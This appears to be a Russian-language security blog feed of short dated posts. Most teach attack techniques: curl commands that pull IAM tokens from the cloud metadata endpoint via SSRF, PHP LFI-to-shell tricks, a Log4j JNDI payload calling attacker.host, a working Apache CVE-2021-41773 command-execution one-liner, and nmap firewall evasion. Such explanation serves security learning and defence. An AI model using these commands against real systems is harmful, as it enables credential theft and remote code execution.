Кавычка

2022-04-01 10:00:51 Управляющий символ 7F (или в url браузера - %7f) предназначен для забивания ошибочно пробитых символов на семидорожечных перфолентах (поскольку обозначается пробитием дырочек во всех дорожках).

А стандартная ширина терминала составляет 80 символов, потому что именно столько влезало на перфокарту.

А CR LF (\r \n) сейчас бы сделали одним символом, но при печати листингов на терминале необходимо подать бумагу на 1 строку вперед и передвинуть каретку в левый край.

Символ \a - пикнуть спикером (BELL).
И это не шутка! Открыть/Комментировать

2022-02-11 13:37:36 Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API. Облака это не обычные виртуалки, но не все этого понимают. В AWS… Открыть/Комментировать

2022-02-11 13:37:01 Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API.

Облака это не обычные виртуалки, но не все этого понимают. В AWS есть такая херь, под названием IAM (AWS Identity and Access Management), она создана для контроля доступа к сервисам Амазона. IAM позволяет не раздавать привилегии налево и направо, а запросить доступ на время. Самое смешное, что подобная технология, которая создана для защиты, чаще всего неправильно настроена и позволяет любому, кто находится на сервере запросить подобный доступ. Делается это как с помощью SSRF атак, так и после компрометации одной из машин.

Например, ручка, которая позволяет получить токен доступа для CLI API:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/default

Точно такой же запрос можно выполнить в Яндекс Облаке, если неправильно настроена роль. Когда создаешь виртуальную машину в ней нет сервис аккаунта. Но вот если решишь его привязать, то тебе предложат создать сразу с ролью editor. Это «примитивная» роль с правами создавать/обновлять/удалять виртуалки. Если в ответе будет что-то такое:


{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}


То скорее всего это шанс на победу. А ручка

curl http://169.254.169.254/latest/user-data

Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.

И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами. Открыть/Комментировать

2021-12-24 17:25:23 compress
В случае если у нас выключена директива file_uploads можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents с нашими аргументами, то можно чтение compress.zlib://http://hostname/ создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения

https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

nginx buffer file
В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит

https://tttang.com/archive/1384/ Открыть/Комментировать

2021-12-24 17:25:22 Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.

Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:

logs / sessions / etc
Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять

phpinfo()
Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве file_uploads = on (которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering которая по умолчанию имеет значение 4096. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

PHP_SESSION_UPLOAD_PROGRESS
В 2018 году один внимательный увидел в документации PHP директиву session.upload_progress.enabled которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start() и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

tempfile bruteforce / php crash
Предыдущий метод хорош, но может случиться так что директива session.upload_progress.enabled выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.

https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Hk-2nUb3Q?type=view Открыть/Комментировать

2021-12-13 13:30:53 Я просто оставлю это здесь.
OTP от гугла можно предсказать/перехватить

Есть идеи?) Открыть/Комментировать

2021-12-10 14:04:25 У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта). Открыть/Комментировать

2021-12-08 00:57:29 Мини-игра: найди пароль Открыть/Комментировать

2021-11-12 18:00:14 Задача: быстро отсканировать с помощью nmap большую подсеть.

Из-за количества хостов сканирование будет длиться сутки, неделю или больше, а с данными хочется работать в ближайшее время.
Одно из решений - это использовать многоходовочку, поделить сканирование на несколько шагов и быстро получить данные самых популярных портов, пока редкие порты сканируются.

Играемся с таймаутом RTT, таймаутом хостов (tarpit еще никто не отменял), количеством попыток на ответ и другие настройки.
Но если нам нужно увеличить точность, то запускаем с -Pn, если скорость, то без него.

Кстати, nmap умеет импортировать данные предыдущего сканирования и работать уже с ним, например,
nmap --script-args newtargets,state=up,iX=scan.xml
запустит сканирование взяв в качестве целей для сканирования хосты из файла scan.xml, которые находились в статусе up в тот момент.

Важно, что если у хоста не будет открытых портов из топа, то он не попадет в выдачу первого шага, и втором и третьем шаге его попросту не будет.

Ставим как исходящий порт - 53 (DNS), чтобы обмануть некоторые наркоманские настройки фаерволов, получаем подобный скрипт.

Во время сканирования забираем полученные XML файлы, загружаем в нужный нам софт.

В других случаях используем Masscan и RustScan. Открыть/Комментировать

2021-10-06 10:32:42 Недавняя CVE-2021-41773 в Apache 2.4.49, это не только выход из директории с чтением файлов, как многие подумали

curl --data "A=|echo;id" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' Открыть/Комментировать